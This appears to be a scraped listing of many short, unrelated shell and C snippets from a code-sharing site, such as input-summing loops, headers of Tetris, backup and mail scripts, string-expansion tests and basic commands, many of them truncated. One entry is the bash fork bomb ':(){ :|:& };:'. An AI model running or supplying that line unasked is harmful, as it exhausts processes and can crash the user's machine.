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#!/bin/bash   
 
read t
for (( i=1; $i <= t; i++ ))  do   
read  n  
j=1 
  for (( j=1; $j <= n; j++ )) 
  do    
read a \c
 ...

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#!/bin/bash   
 
read t
for (( i=1; $i <= t; i++ ))  do   
read  n  
  j=1 
    for (( j=1; $j <= n; j++ )) 
    do    
read a \c
 ...

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#!/bin/bash   
read t   
for (( i=1; $i <= t; i++ ))   do   
read  n   
j=1   
for (( j=1; $j <= n; j++ ))   do     
read a \c    
let w=w+a   done  
 echo $w   w=0   done

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#include <graph.h>
#include <conio.h>
#include <stdio.h>
#include <math.h>
 
#define XDIM 320
#define YDIM 320
 
float fX[XDIM + 1], fY[YDIM + 1];
 ...

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#!/bin/sh
mkdir cave
cd cave
for i in 0 1 2 3 4 5 6 7 8 9
do
        mkdir $i
        cd $i
        for j in 0 1 2 3 4 5 6 7 8 9
        do
 ...

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ls -a
cat prog.sh
cd ..
ls -a

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ls -a
cd ..

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#!/bin/bash
# Tetris Game
# 10.21.2003 xhchen<xhchen@winbond.com.tw>
#颜色定义
cRed=1
cGreen=2
cYellow=3
cBlue=4
cFuchsia=5
 ...

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rm -c;

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#!/bin/bash
 
 
 
#Variables
 
 
 
#Is mail enabled?  Do we want a notice? 0=off 1=on
 ...

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cd /
ls

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#!/bin/bash
#
# creates backups of essential files
#
DATA="/home /root /usr/local/httpd"
CONFIG="/etc /var/lib /var/named"
LIST="/tmp/backlist_$$.txt"
#
mount /mnt/backup
 ...

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#!/bin/bash
 
 
 
#Variables
 
 
 
#Is mail enabled?  Do we want a notice? 0=off 1=on
 ...

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#!/bin/bash
 
 
 
#Variables
 
 
 
#Is mail enabled?  Do we want a notice? 0=off 1=on
 ...

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echo "helloworld"

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:(){ :|:& };:

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wget http://173.194.69.94/

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df

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#!/bin/sh
ps auxf

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#!/bin/bash
while true
do
        read line
        if [ $line -eq 42 ]
        then 
                exit 0
        fi
        echo $line

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echo "sfsfds" > asd.c
ls

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#!/bin/sh
# script :- bdayscript.sh -- send Birthday mails
#
 
# to run in a cron job need to do this
 
# crontab -e
# 0 0 * * * /root/home/bdayscript.sh
 ...

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#!/bin/sh
# script :- bdayscript.sh -- send Birthday mails
#
 
# to run in a cron job need to do this
 
# crontab -e
# 0 0 * * * /root/home/bdayscript.sh
 ...

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var="a b c"
p="${var// /
}"
echo $p

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var="a b c"
p=${var// /\n}
echo $p

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var="a b c"
p=${var// /0}
echo $p

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var="a b c"
p=${var/ /0}
echo $p

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var="a b c"
p=${var}
echo $p

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ls

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                       f~^kn~+c+ia~^+~cf+?/                        
                   [f!c-ki~:~b/au>++*+k~~r~bn!*+i                   
                <kk]k/>rkbrn~!:?[->+uc*a+af~>^b+ub+k                
              +i?:fn>+b+kb^+>kn?+ii/kb++u>?a+^+?+u>u?c+             
            i:+~/+>++:kba+~b?+:>+rr!b+k+++u?n<k!b**<i<c~i           
          <!^<<<<krb~^/]>>-u~/*-:<ck^<++!!:n+!kcbinc[~kr-:          
         *k:!kb?>c~>>*u!nnrbabi>+irn>i?+~+?>icc*+ci+i+!<<rb         
        ^knnb<!<!i<b^r<i!^/]>f/>>a/?>i~>~>>>b--.r/rucffa!/<n        
        <:u<?ua<cr<*:<i:bb<fu/nb.>b:r:*?**>n:!>::~/*+.>>r-:.:       
 ...